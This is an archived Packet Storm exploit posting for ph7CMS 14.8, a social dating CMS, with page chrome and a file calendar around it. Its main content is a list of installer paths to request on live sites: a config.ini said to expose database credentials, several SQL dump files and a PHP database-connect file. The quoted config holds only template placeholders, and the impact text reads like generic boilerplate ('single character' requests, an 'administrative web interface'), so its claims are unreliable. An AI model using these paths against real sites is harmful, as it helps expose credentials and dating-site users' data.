what you don't know can hurt you

ph7CMS Social Dating Community 14.8 Database Configuration Disclosure

ph7CMS Social Dating Community 14.8 Database Configuration Disclosure
Posted Feb 14, 2019
Authored by KingSkrupellos

ph7CMS Social Dating Community version 14.8 suffers from a database configuration file disclosure vulnerability.

tags | exploit, info disclosure
MD5 | 58111edd54eef39fed0fac897f8a451a

ph7CMS Social Dating Community 14.8 Database Configuration Disclosure

Change Mirror Download
####################################################################

# Exploit Title : ph7CMS Social Dating Community 14.8 Database Config Disclosure
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 14/02/2019
# Vendor Homepage : ph7cms.com
# Software Download Link : ph7cms.com/social-dating-features/
github.com/pH7Software/pH7-Social-Dating-CMS/archive/master.zip
# Software Information Link : ph7cms.com/tag/php-dating-script/
sourceforge.net/projects/ph7socialdating/
ph7cms.com/ph7cms-14-8-released/
# Software Version : 5.6.0 and 14.8 all previous versions.
Compatible with PHP 5.6 and higher
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : CWE-16 [ Configuration ] ~ CWE-200 [ Information Exposure ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

####################################################################

# Description about Software :
***************************
Config file of pH7 Dating Social Community CMS

pH7 Dating CMS is a Social/Dating CMS written in Object-Oriented PHP (OOP),

fully compatible and highly optimised for PHP 7+ and based on MVC architecture (Model-View-Controller).

It is designed with the KISS principle in mind, and the whole source code can be read and

understood in minutes. For a better flexibility, the software uses PDO (PHP Data Objects)

abstraction which allows the choice of the database. The principle of development is DRY

(Don't Repeat Yourself) aimed at reducing repetition of information of all kinds (no duplicate code)

and YAGNI principle to avoid unused code/not needed functionality in the software.

This Free and Open Source Social Dating Site Builder wants to be low resource-intensive,

powerful, stable and secure. The software also comes with 38 system modules and is based

on pH7Framework (written specifically for this project) that has over 52 packages.

To summarize, pH7CMS gives you the perfect ingredients to create the best online

dating service or social networking website on the World Wide Web!

####################################################################

# Impact :
***********
ph7CMS Social Dating Community 14.8 [ and other versions ] configuration file may potentially

disclose sensitive information to remote attackers.

The configuration file that ph7CMS Social Dating Community 14.8 stored in /_install/data/configs/config.ini

HTTP requests consisting of a single character will cause the software to

disclose sensitive configuration information, including the password/database to the administrative web interface.

This file is installed, by default, with world readable and possibly world writeable permissions enabled.

This may have some potentially serious consequences as the configuration

file also stores password information in plain text.

This issue occurs because access controls on configuration files are not properly set.

An attacker can exploit this issue to retrieve potentially sensitive information.

Attackers can access config file via URL request. This may aid in further attacks.

####################################################################

# Database Configuration File Information Disclosure Exploit :
*****************************************************

/_install/data/configs/config.ini

[database]
type_name = %db_type_name%
type = %db_type%
hostname = "%db_hostname%"
username = "%db_username%"
password = "%db_password%"
name = "%db_name%"
prefix = "%db_prefix%"
charset = "%db_charset%"
port = %db_port%

# Database Disclosure Exploit :
***************************

/_install/data/sql/PostgreSQL/pH7_Core.sql

/_install/data/sql/PostgreSQL/pH7_DataGame.sql

/_install/data/sql/PostgreSQL/pH7_SampleData.sql

/_install/data/sql/PostgreSQL/pH7_SchemaGame.sql

/_install/data/sql/MySQL/pH7_Core.sql

/_install/data/sql/MySQL/pH7_DataGame.sql

/_install/data/sql/MySQL/pH7_SampleData.sql

/_install/data/sql/MySQL/pH7_SchemaGame.sql

# Database Disclosure Exploit 2 : => /_install/inc/_db_connect.inc.php
*****************************

<?php
/**
* @title Db Connect File
namespace PH7;
defined('PH7') or exit('Restricted access');
$aParams = array(
'db_type' => $_SESSION['db']['type'],
'db_hostname' => $_SESSION['db']['hostname'],
'db_name' => $_SESSION['db']['name'],
'db_username' => $_SESSION['db']['username'],
'db_password' => $_SESSION['db']['password'],
'db_charset' => $_SESSION['db']['charset']
);
$DB = new Db($aParams);

####################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

####################################################################

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

June 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    1 Files
  • 2
    Jun 2nd
    2 Files
  • 3
    Jun 3rd
    19 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    15 Files
  • 6
    Jun 6th
    12 Files
  • 7
    Jun 7th
    11 Files
  • 8
    Jun 8th
    1 Files
  • 9
    Jun 9th
    1 Files
  • 10
    Jun 10th
    15 Files
  • 11
    Jun 11th
    15 Files
  • 12
    Jun 12th
    15 Files
  • 13
    Jun 13th
    8 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    2 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    18 Files
  • 18
    Jun 18th
    15 Files
  • 19
    Jun 19th
    22 Files
  • 20
    Jun 20th
    15 Files
  • 21
    Jun 21st
    15 Files
  • 22
    Jun 22nd
    2 Files
  • 23
    Jun 23rd
    1 Files
  • 24
    Jun 24th
    23 Files
  • 25
    Jun 25th
    19 Files
  • 26
    Jun 26th
    10 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close